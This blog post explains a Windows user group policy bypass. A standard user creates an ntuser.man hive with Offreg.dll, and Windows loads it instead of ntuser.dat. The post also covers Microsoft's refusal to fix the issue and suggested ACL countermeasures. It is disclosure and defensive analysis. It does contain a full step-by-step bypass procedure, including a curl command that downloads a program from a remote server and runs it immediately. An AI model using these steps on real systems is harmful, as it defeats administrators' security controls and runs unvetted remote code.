[German]A somewhat unconventional design decision by the Windows developers makes it possible for attackers to locally override group policies for users (user group policies). Normal user rights and a dll file shipped with Windows are sufficient. Microsoft has no plans to solve this problem, that might be around since over 25 years. This is the conclusion of a discussion between security researcher Stefan Kanthak and the Microsoft Security Response Center (MSRC) team. I was partially involved as a tester and have summarized it below.
Advertising
User Group Policies and Mandatory User-Profiles
A short excursion into areas that show how problematic Microsoft's design decisions are in its products. Stefan Kanthak recently drew my attention to a problem in Windows where access permissions to user profile files and registry entries for group policies are handled differently. This allows attackers with standard user rights to override the user's entire group policy if necessary. Here are the basics behind this problem.
Group policies and authorizations
In Windows, the values of group policies (user group policies) are stored in the registry. Access to these registry entries is protected by the Discretionary Access Control List (DACL). Only members of the Administrators group and the SYSTEM group have the appropriate authorizations to access the DACL-protected registry keys of the user group policies in the registry branches:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies] [HKEY_CURRENT_USER\Software\Policies]
to write or delete them. This is also absolutely necessary for security reasons.
User profiles and authorizations
There is also a so-called user profile for each user of a Windows system, i.e. a folder in which all files are stored. The user has all the access rights to these (their own) files that their account has. This is also logical in a way.
When a user logs on, the registry hive is loaded from %USERPROFILE%\ntuser.dat. This file is then opened exclusively by the operating system with (Read, Write and Delete/Rename access rights). This prevents modifications or deletion of the file by the logged-in user.
Advertising
The role of Mandatory User Profiles
The MSDN article "About User Profiles" also mentions so-called "Mandatory User Profiles". The registry hive of these user profiles is stored under
%USERPROFILE%\ntuser.man
This mandatory user profile is a special type of preconfigured roaming user profile. Administrators can use this profile or file to define settings for users. Mandatory user profiles can be used to change a user's desktop. However, the changes are not saved when the user logs out. The next time the user logs on, the mandatory user profile created by the administrator is downloaded. There are two types of mandatory profiles: normal mandatory profiles and super-mandatory profiles.
User profiles become mandatory profiles when the administrator renames the NTuser.dat file (the registry structure) on the server to NTuser.man. The .man extension means that the user profile is a read-only profile, according to Microsoft. So much for the theory.
German security expert Stefan Kanthak now points out that mandatory user profiles are not just a special form of "roaming user profiles". Local User Profiles also support
a registry hive in %USERPROFILE%\ntuser.man, whereby this file has priority over the %USERPROFILE%\ntuser.dat file. This ntuser.man file, on the other hand, can be created with the rights of a standard user in the user profile and can also be written without administrator rights to.
A LOtL file in Windows
Malware can use legtime files of the operating system to carry out so-called Living Off The Land (LOTL). CrowdStrike has explained this attack in this article, for example.
Stefan Kanthak now points out that Microsoft originally developed the (redistributable) "Offline Registry Library" Offreg.dll with the Driver Development Kit for Windows 7, but has been supplying it with Windows for years. This library can be used to change a registry structure outside the active system registry.
Stefan Kanthak now writes that, thanks to the Offreg.dll file, a non-privileged standard user can copy the registry branch [HKEY_CURRENT_USER] (with the exception of the registry keys in which the policies are stored, of course) to an offline registry structure ntuser.man. This allows a user (or malware running under this account) to get rid of any restrictions previously imposed via user group policies after logging off and back on.
A demonstration for testing
In the first half of May 2025, Stefan Kanthak asked me to run certain test steps on my Windows 10 (IoT) and report the results.
My recommendation is that only experienced users run this test – preferably in a virtual machine. On my Windows 10 IoT, I was unable to log in to the user account during the test after a restart – as an error was reported when connecting to a (group policy) service. Could be fixed under an administrator account by deleting the manipulation.
The test comprises several steps in which it is first ensured that the user does not have write permissions to policy registry values. The content of a registry branch is also copied. Policies are then set to test whether they are effective. After a simple file copy action, Windows must be restarted. After this, the policies just set should no longer take effect.
Step 1: Check and read out the registry
To understand the problem (in Windows 2000 and newer versions), the first step is to start a command prompt as a non-privileged user and execute the following instructions:
WHOAMI.exe /USER REG.exe ADD HKEY_CURRENT_USER\Software\Policies /VE REG.exe ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies /VE CHDIR /D "%USERPROFILE%" CURL.exe -q -O -R https://skanthak.hier-im-netz.de/temp/GPOFFREG.COM .\GPOFFREG.com
The first instruction only shows the SID of the user. The Reg commands should check that this user cannot write to registry branches such as Policies. The command to call the REG.exe file should output "ERROR: access denied".
The last curl.exe command then downloads and executes a small CLI program from Kanthak. I had performed this step manually by calling and executing gpoffreg.com from the security researcher's web server. The small program reads the registry branch [HKEY_CURRENT_USER] – with the exception of the registry keys with the name Policies – and writes the data to an offline registry hive structure ntuser.man located in the current (working) directory.
Step 2: Set policy as administrator
Now it is time to set certain user group policies via the registry in order to be able to test the next steps. To do this, open the command prompt window with administrative credentials (Run as administrator). It should then be possible to execute the following commands for creating the group policy entries without errors:
REG.exe ADD HKEY_USERS\%SID%\Software\Policies\Microsoft\Windows\System /V DisableCMD /T REG_DWORD /D 1 REG.exe ADD HKEY_USERS\%SID%\Software\Microsoft\Windows\CurrentVersion\Policies\System /V DisableRegistryTools /T REG_DWORD /D 1
So here it's clear: Windows protect any manipulation of user group policies against users without privileges. The specified SID is the value for the user account that was retrieved in step 1.
The next step is to check whether the policy entries are present in the registry and whether they are effective. I had tested all this manually for Stefan Kanthak and blocked Command Prompt, Registry editor and Task Manager via user policy entries. A test then showed that the tools mentioned could no longer be called up by the standard user account, because they have been blocked by the administrator via policies. The user receive a warning "Disabled by your administrator" or "The command prompt has been disabled by the administrator" was displayed. So everything worked as expected.
You can also execute the following commands suggested by Kanthak in a command prompt opened with standard user authorizations:
CMD.exe REG.exe QUERY HKEY_CURRENT_USER\Software\Policies /S REG.exe QUERY HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies /S
The above messages regarding the administrator lock should appear. During my test, I then had to manually copy the ntuser.man created above with GPOFFREG.com into my user profile folder. This step is no longer necessary with the above instructions given by Stefan Kanthak. The ntuser.man is stored in the user profile folder.
Step 3: Log out, log in and test
Now the non-privileged standard user must log out of the account and then log in again (I even performed a restart at the time). The purpose of this step is for ProfileSvc to load the ntuser.man file created in step 1 above instead of the ntuser.dat file that should actually be used. The above steps were carried out with standard user rights (except for the registry entries).
Now the command prompt should be opened again with standard user rights and the registry editor should also be called up on a trial basis. The restriction previously defined by policy should be gone. Kanthak also wrote that the following commands should be executed in the command prompt window:
REG.exe QUERY HKEY_CURRENT_USER\Software\Policies /S REG.exe QUERY HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies /S REG.exe ADD HKEY_CURRENT_USER\Software\Policies /VE REG.exe ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies /VE
The commands executed with standard permissions verify that the entries in the Policies branch are now empty and can also be written as an unprivileged user (this was defined by Kanthak's test program).
The bottom line: Any standard user with restricted rights can override the group policies that an administrator sets for them in just a few simple steps.
Your Office hardening is gone
After I published the German edition of this blog post yesterday, we have had a heavy discussion. German former group policy MVP, Mark Heitbrink, who was also involved in testing, came with the following annotation: "the complete Office hardening, defined by your administrators, is located in the HKCU\Software\Policies branch." So this hardening is gone with the flaw discussed above – after applying the trick, the macro starts again in the old supposedly forbidden .xls file format.
His conclusion was: every user can read their own registry via the DLL, export to an ntuser.man in the user profile and delete .\policies. The ntuser.man is preferably loaded by Windows, instead of the .dat file. gpupdate, the gpsvc writes the values to the .dat file.
Mark discussed this observation by Stefan Kanthak with some users in his expert group and came out with the conclusion: "the fact that this flaw was undiscovered for over 25 years is the really spectacular thing about the hack".
Microsoft won't change anything
Stefan Kanthak then informed the Microsoft Security Response Center (MSRC) of his findings. A so-called case was also opened (MSRC Case 98092 CRM:0022093246). As is so often the case, there was "a bit of a bang" – because the Microsoft managers saw "no problem" in a response that needed to be fixed. Here is the original quote from Microsoft:
You reported that a user can bypass policies set within the HKCU registry hive.
However, the ability of a user to write to the HKCU hive does not constitute a violation of a security boundary, as the entire hive is owned by the local user, allowing them to write to it without restriction.
The indication that a user can bypass policies set within the HKCU registry hive is not a problem. However, according to Microsoft, the ability of a user to write to the HKCU hive is not a breach of a security boundary, as the entire hive is owned by the local user, so they can write to it without restriction.
No mention of the above scenario and the effect that an administrator sets a group policy and must ultimately be able to enforce compliance, but the user (or malware) can override this at any time.
Later I learned from German blog reader Jan in this comment, that Tenable has reported the behavior in 2019 to Microsoft, but it was taken down by Microsoft as "expected behavior". They had a slight different approach requiring two user accounts for that hack, which ist documented at Microsoft Windows User Group Policy Bypass. Stefan Kanthak also pointed out to the Google project zero writing The Windows Registry Adventure #8: Practical exploitation of hive memory corruption, published after his discovery, also indicating, how to exploit registry entries.
Recommended countermeasures
Stefan Kanthak then made a suggestion to Microsoft to think about some countermeasures to mitigate the scenario. I am copying his suggestions here in the article:
a) Add an NTFS ACE which denies the user the permissions to create files
in or write the DACL of the directory "%USERPROFILE%" (which is owned
by the SYSTEM account, but grants the user full access):
CHDIR /D "%USERPROFILE%" CACLS.exe . /S SET /P DACL=Copy the output and insert (D;NP;DCWD;;;S-1-5-21-*-*-*-*) in front of the first opening parenthesis CACLS.exe . /S:%DACL%
b) Add an NTFS ACE which denies the user the permission to write the DACL
of or add extended attributes to the file "%USERPROFILE%\ntuser.dat":
CACLS.exe ntuser.dat /S SET /P DACL=Copy the output and insert (A;;0x1201EF;;;OW) in front of the first opening parenthesis CACLS.exe ntuser.dat /S:%DACL%
Without the second countermeasure, the user can, according to Kanthak, grant write access to ntuser.dat to an accomplice who has a user account on the computer, write access to ntuser.dat or add a reparse point.
Besides myself, Mark Heitbrink was also informed about the topic. Mark posted the topic in an English-language group of MVPs and received the response "no privilege escalation, no problem", although the comment was made that the "mandatory profiles" had been around for a very long time and that no one had ever tried this before. Stefan Kanthak submitted the discovery to fulldisclosure[@] seclists.org on May 31, 2025.
Addendum: The text is now available online (since June 3, 2025).
Advertising